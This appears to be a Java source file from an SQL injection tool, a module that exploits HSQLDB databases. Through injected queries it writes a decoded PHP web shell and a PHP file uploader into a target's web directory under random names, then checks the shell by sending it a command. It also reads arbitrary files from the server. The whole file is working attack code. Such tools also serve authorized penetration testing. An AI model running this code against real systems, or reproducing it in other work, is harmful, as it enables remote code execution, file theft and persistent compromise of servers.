1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.CallableFile;
5 import com.jsql.model.accessible.DataAccess;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.vendor.hsqldb.ModelYamlHsqldb;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.model.bean.util.Interaction;
10 import com.jsql.model.bean.util.Request;
11 import com.jsql.model.exception.AbstractSlidingException;
12 import com.jsql.model.exception.JSqlException;
13 import com.jsql.model.exception.JSqlRuntimeException;
14 import com.jsql.model.injection.vendor.model.VendorYaml;
15 import com.jsql.model.suspendable.SuspendableGetRows;
16 import com.jsql.util.LogLevelUtil;
17 import com.jsql.util.StringUtil;
18 import org.apache.commons.lang3.RandomStringUtils;
19 import org.apache.commons.lang3.StringUtils;
20 import org.apache.logging.log4j.LogManager;
21 import org.apache.logging.log4j.Logger;
22 import org.yaml.snakeyaml.Yaml;
23
24 import java.io.File;
25 import java.io.FileInputStream;
26 import java.io.IOException;
27 import java.io.InputStream;
28 import java.net.http.HttpResponse;
29 import java.util.function.BinaryOperator;
30
31 public class ExploitHsqldb {
32
33 private static final Logger LOGGER = LogManager.getRootLogger();
34 private final InjectionModel injectionModel;
35 private final ModelYamlHsqldb modelYaml;
36
37 public ExploitHsqldb(InjectionModel injectionModel) {
38 this.injectionModel = injectionModel;
39 var yaml = new Yaml();
40 this.modelYaml = yaml.loadAs(
41 injectionModel.getMediatorVendor().getHsqldb().instance().getModelYaml().getResource().getExploit(),
42 ModelYamlHsqldb.class
43 );
44 }
45
46 public String createWeb(String pathExploit, String urlExploit) {
47 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
48
49 String bodyExploit = StringUtil.base64Decode(
50 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
51 )
52 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
53 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
54
55 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
56 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
57 this.injectionModel.injectWithoutIndex(String.format(
58 this.modelYaml.getFile().getWrite(),
59 nameTable,
60 nameTable, bodyExploit.replace("'", "\""),
61 nameTable, pathExploit + nameExploit
62 ), ResourceAccess.TBL_CREATE);
63
64 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65 String result = this.injectionModel.getResourceAccess().callCommand(
66 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
67 );
68 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
69 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
70 return StringUtils.EMPTY;
71 }
72 var request = new Request();
73 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
74 request.setParameters(urlSuccess);
75 this.injectionModel.sendToViews(request);
76 return urlSuccess;
77 };
78
79 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
80 }
81
82 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
83 String bodyExploit = StringUtil.base64Decode(
84 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
85 )
86 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
87 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
88
89 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
90 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
91 this.injectionModel.injectWithoutIndex(String.format(
92 this.modelYaml.getFile().getWrite(),
93 nameTable,
94 nameTable, bodyExploit.replace("'", "\""),
95 nameTable, pathExploit + nameExploit
96 ), ResourceAccess.TBL_CREATE);
97
98 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
99 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
100 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
101 if (result.body().contains(DataAccess.LEAD +"y")) {
102 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
103 } else {
104 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
105 }
106 } catch (InterruptedException e) {
107 LOGGER.log(LogLevelUtil.IGNORE, e, e);
108 Thread.currentThread().interrupt();
109 } catch (IOException | JSqlException e) {
110 throw new JSqlRuntimeException(e);
111 }
112 return urlSuccess;
113 };
114
115 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
116 }
117
118 public String getRead(String pathFile) throws AbstractSlidingException {
119 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
120 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
121 this.injectionModel.injectWithoutIndex(String.format(
122 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getCreateTable(),
123 nameTable,
124 nameTable, pathFile
125 ), ResourceAccess.TBL_FILL);
126 return new SuspendableGetRows(this.injectionModel).run(
127 String.format(
128 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getResult(),
129 VendorYaml.TRAIL_SQL,
130 nameTable
131 ),
132 new String[]{ StringUtils.EMPTY },
133 false,
134 1,
135 MockElement.MOCK,
136 ResourceAccess.TBL_READ
137 );
138 }
139
140 public ModelYamlHsqldb getModelYaml() {
141 return this.modelYaml;
142 }
143 }